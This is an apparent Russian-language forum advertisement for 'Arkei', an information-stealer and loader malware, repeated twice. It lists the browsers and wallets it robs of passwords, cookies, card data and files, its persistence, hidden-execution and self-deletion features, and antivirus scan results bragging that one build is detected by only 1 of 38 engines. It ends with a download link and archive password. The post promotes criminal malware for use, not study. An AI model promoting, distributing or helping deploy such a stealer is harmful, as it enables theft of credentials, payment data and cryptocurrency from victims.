Arkei — многофункциональный стиллер и нерезидентский лоадер в одном флаконе, написанный на C++ без использования ATL, CLR.
Собирает пароли, куки, CC, данные автозаполнения форм, кошельки (Bitcoin, Ethereum), файлы с рабочего стола, данные о машине, установленное ПО.
Процесс работы: При запуске Arkei копируется в системную директорию, сканирует ОС на наличие перечисленных ниже браузеров, собирает данные из оных. Затем бот собирает файлы с рабочего стола перечисленных ниже форматов, делает скриншот рабочего стола, помещает все собранные данные в архив и отправляет на сервер вместе с общей сводкой о системе. После получает от сервера задание (открыть url, загрузка & запуск EXE), выполняет его и самоуничтожается, удаляя все следы прибывания в системе.
Поддерживаемые браузеры:
Chromium (Passwords + Cookies + CC + Autofill)
Google Chrome (Passwords + Cookies + CC + Autofill)
Mozilla Firefox (Passwords)
Opera (Passwords + Cookies + CC + Autofill)
Kometa (Passwords + Cookies + CC + Autofill)
Amigo (Passwords + Cookies + CC + Autofill)
Torch (Passwords + Cookies + CC + Autofill)
Orbitum (Passwords + Cookies + CC + Autofill)
Comodo Dragon (Passwords + Cookies + CC + Autofill)
360 Browser (Passwords + Cookies + CC + Autofill)
Nichome (Passwords + Cookies + CC + Autofill)
Yandex Browser (Passwords + Cookies + CC + Autofill)
Maxthon 5 (Passwords + Cookies + CC + Autofill)
Sputnik (Passwords + Cookies + CC + Autofill)
Epic Privacy Browser (Passwords + Cookies + CC + Autofill)
Vivaldi (Passwords + Cookies + CC + Autofill)
Поддерживаемые утилиты:
FileZilla
Функционал лоадера:
Загрузка файла любого формата по ссылке
Запуск файла после загрузки
Скрытый запуск загруженного файла
Добавление в автозагрузку (реестр)
Добавление в автозагрузку (ярлык)
Стиллер холодных кошельков криптовалют:
Bitcoin
Ethereum
Граббер файлов: Динамичная настройка граббера файлов из админ-панели, поддержка любых типов файлов
Дополнительно:
Удобный установщик админ-панели
Открытие ссылки в браузере после работы стиллера
Уничтожение всех рабочих файлов Arkei
Низкий вес билда (143kb)
Сбор данных об установленном ПО
Поддержка Windows 7 / 8 / 8.1 / 10 | x32 / x64 (дедики от win server 08)
Файл: file1580.exe Тип:EXE Время сканирования: 28-02-18 17:52:57 File info: Windows Screen Saver Статус: [ 15 ] / [ 24 ]
ESET NOD32 Antivirus Malware detected Windows Defender [ Чисто ] G Data AntiVirus Malware detected Symantec Endpoint Protection [ Чисто ] F-PROT Antivirus for Windows [ Чисто ] Trend Micro Titanium IS [ Чисто ] Emsisoft Anti-Malware Malware detected avast! Internet Security [ Чисто ] Arcavir Antivirus 2014 Malware detected McAfee VirusScan Enterprise [ Чисто ] Jiangmin Antivirus 2011 Malware detected Panda Global Protection 2014 [ Чисто ] K7 UltimateSecurity [ Чисто ] COMODO Internet Security [ Чисто ] Ad-Aware Pro Malware detected AVG Anti-Virus [ Чисто ] Avira Antivirus Suite [ Чисто ] Bitdefender Antivirus Plus Malware detected Kaspersky Anti-Virus Malware detected Dr.Web Anti-virus [ Чисто ] IKARUS anti.virus [ Чисто ] VBA32 Anti-Virus [ Чисто ] Total Defence Anti-Virus 2011 Malware detected F-Secure Internet Security 2014 Malware detected Twister Antivirus Malware detected Quick Heal Internet Security [ Чисто ] Zillya! Internet Security [ Чисто ] TrustPort Antivirus Malware detected BullGuard Antivirus Malware detected eScan Antivirus Malware detected Outpost Antivirus Pro [ Чисто ] Clam AntiVirus [ Чисто ] AhnLab V3 Internet Security Malware detected Malwarebytes Anti-Malware [ Чисто ] Nano Antivirus [ Чисто ] SUPERAntiSpyware [ Чисто ] McAfee Total Protection [ Чисто ] VirIT eXplorer [ Чисто ] Solo Antivirus [ Чисто ]
Scan Builder:?
Файл: file1585.exe Тип:EXE Время сканирования: 28-02-18 18:05:02 File info: Win32 Executable MS Visual C++ (generic) Статус: [ 1 ] / [ 38 ]
ESET NOD32 Antivirus [ Чисто ] Windows Defender [ Чисто ] G Data AntiVirus [ Чисто ] Symantec Endpoint Protection [ Чисто ] F-PROT Antivirus for Windows [ Чисто ] Trend Micro Titanium IS [ Чисто ] Emsisoft Anti-Malware [ Чисто ] avast! Internet Security [ Чисто ] Arcavir Antivirus 2014 [ Чисто ] McAfee VirusScan Enterprise [ Чисто ] Jiangmin Antivirus 2011 [ Чисто ] Panda Global Protection 2014 [ Чисто ] K7 UltimateSecurity [ Чисто ] COMODO Internet Security [ Чисто ] Ad-Aware Pro [ Чисто ] AVG Anti-Virus [ Чисто ] Avira Antivirus Suite Malware detected Bitdefender Antivirus Plus [ Чисто ] Kaspersky Anti-Virus [ Чисто ] Dr.Web Anti-virus [ Чисто ] IKARUS anti.virus [ Чисто ] VBA32 Anti-Virus [ Чисто ] Total Defence Anti-Virus 2011 [ Чисто ] F-Secure Internet Security 2014 [ Чисто ] Twister Antivirus [ Чисто ] Quick Heal Internet Security [ Чисто ] Zillya! Internet Security [ Чисто ] TrustPort Antivirus [ Чисто ] BullGuard Antivirus [ Чисто ] eScan Antivirus [ Чисто ] Outpost Antivirus Pro [ Чисто ] Clam AntiVirus [ Чисто ] AhnLab V3 Internet Security [ Чисто ] Malwarebytes Anti-Malware [ Чисто ] Nano Antivirus [ Чисто ] SUPERAntiSpyware [ Чисто ] McAfee Total Protection [ Чисто ] VirIT eXplorer [ Чисто ] Solo Antivirus [ Чисто ]
comment_1185Arkei — многофункциональный стиллер и нерезидентский лоадер в одном флаконе, написанный на C++ без использования ATL, CLR.
Собирает пароли, куки, CC, данные автозаполнения форм, кошельки (Bitcoin, Ethereum), файлы с рабочего стола, данные о машине, установленное ПО.
Процесс работы:
При запуске Arkei копируется в системную директорию, сканирует ОС на наличие перечисленных ниже браузеров, собирает данные из оных.
Затем бот собирает файлы с рабочего стола перечисленных ниже форматов, делает скриншот рабочего стола, помещает все собранные данные в архив и отправляет на сервер вместе с общей сводкой о системе.
После получает от сервера задание (открыть url, загрузка & запуск EXE), выполняет его и самоуничтожается, удаляя все следы прибывания в системе.
Поддерживаемые браузеры:
Поддерживаемые утилиты:
Функционал лоадера:
Стиллер холодных кошельков криптовалют:
Граббер файлов:
Динамичная настройка граббера файлов из админ-панели, поддержка любых типов файлов
Дополнительно:
Пример лога:
Scans:
Файл: file1580.exe
Тип:EXE
Время сканирования: 28-02-18 17:52:57
File info: Windows Screen Saver
Статус: [ 15 ] / [ 24 ]
ESET NOD32 Antivirus Malware detected
Windows Defender [ Чисто ]
G Data AntiVirus Malware detected
Symantec Endpoint Protection [ Чисто ]
F-PROT Antivirus for Windows [ Чисто ]
Trend Micro Titanium IS [ Чисто ]
Emsisoft Anti-Malware Malware detected
avast! Internet Security [ Чисто ]
Arcavir Antivirus 2014 Malware detected
McAfee VirusScan Enterprise [ Чисто ]
Jiangmin Antivirus 2011 Malware detected
Panda Global Protection 2014 [ Чисто ]
K7 UltimateSecurity [ Чисто ]
COMODO Internet Security [ Чисто ]
Ad-Aware Pro Malware detected
AVG Anti-Virus [ Чисто ]
Avira Antivirus Suite [ Чисто ]
Bitdefender Antivirus Plus Malware detected
Kaspersky Anti-Virus Malware detected
Dr.Web Anti-virus [ Чисто ]
IKARUS anti.virus [ Чисто ]
VBA32 Anti-Virus [ Чисто ]
Total Defence Anti-Virus 2011 Malware detected
F-Secure Internet Security 2014 Malware detected
Twister Antivirus Malware detected
Quick Heal Internet Security [ Чисто ]
Zillya! Internet Security [ Чисто ]
TrustPort Antivirus Malware detected
BullGuard Antivirus Malware detected
eScan Antivirus Malware detected
Outpost Antivirus Pro [ Чисто ]
Clam AntiVirus [ Чисто ]
AhnLab V3 Internet Security Malware detected
Malwarebytes Anti-Malware [ Чисто ]
Nano Antivirus [ Чисто ]
SUPERAntiSpyware [ Чисто ]
McAfee Total Protection [ Чисто ]
VirIT eXplorer [ Чисто ]
Solo Antivirus [ Чисто ]
Файл: file1585.exe
Тип:EXE
Время сканирования: 28-02-18 18:05:02
File info: Win32 Executable MS Visual C++ (generic)
Статус: [ 1 ] / [ 38 ]
ESET NOD32 Antivirus [ Чисто ]
Windows Defender [ Чисто ]
G Data AntiVirus [ Чисто ]
Symantec Endpoint Protection [ Чисто ]
F-PROT Antivirus for Windows [ Чисто ]
Trend Micro Titanium IS [ Чисто ]
Emsisoft Anti-Malware [ Чисто ]
avast! Internet Security [ Чисто ]
Arcavir Antivirus 2014 [ Чисто ]
McAfee VirusScan Enterprise [ Чисто ]
Jiangmin Antivirus 2011 [ Чисто ]
Panda Global Protection 2014 [ Чисто ]
K7 UltimateSecurity [ Чисто ]
COMODO Internet Security [ Чисто ]
Ad-Aware Pro [ Чисто ]
AVG Anti-Virus [ Чисто ]
Avira Antivirus Suite Malware detected
Bitdefender Antivirus Plus [ Чисто ]
Kaspersky Anti-Virus [ Чисто ]
Dr.Web Anti-virus [ Чисто ]
IKARUS anti.virus [ Чисто ]
VBA32 Anti-Virus [ Чисто ]
Total Defence Anti-Virus 2011 [ Чисто ]
F-Secure Internet Security 2014 [ Чисто ]
Twister Antivirus [ Чисто ]
Quick Heal Internet Security [ Чисто ]
Zillya! Internet Security [ Чисто ]
TrustPort Antivirus [ Чисто ]
BullGuard Antivirus [ Чисто ]
eScan Antivirus [ Чисто ]
Outpost Antivirus Pro [ Чисто ]
Clam AntiVirus [ Чисто ]
AhnLab V3 Internet Security [ Чисто ]
Malwarebytes Anti-Malware [ Чисто ]
Nano Antivirus [ Чисто ]
SUPERAntiSpyware [ Чисто ]
McAfee Total Protection [ Чисто ]
VirIT eXplorer [ Чисто ]
Solo Antivirus [ Чисто ]
Download:https://yadi.sk/d/GU9iJwIi3VQzbo
Pass: 12345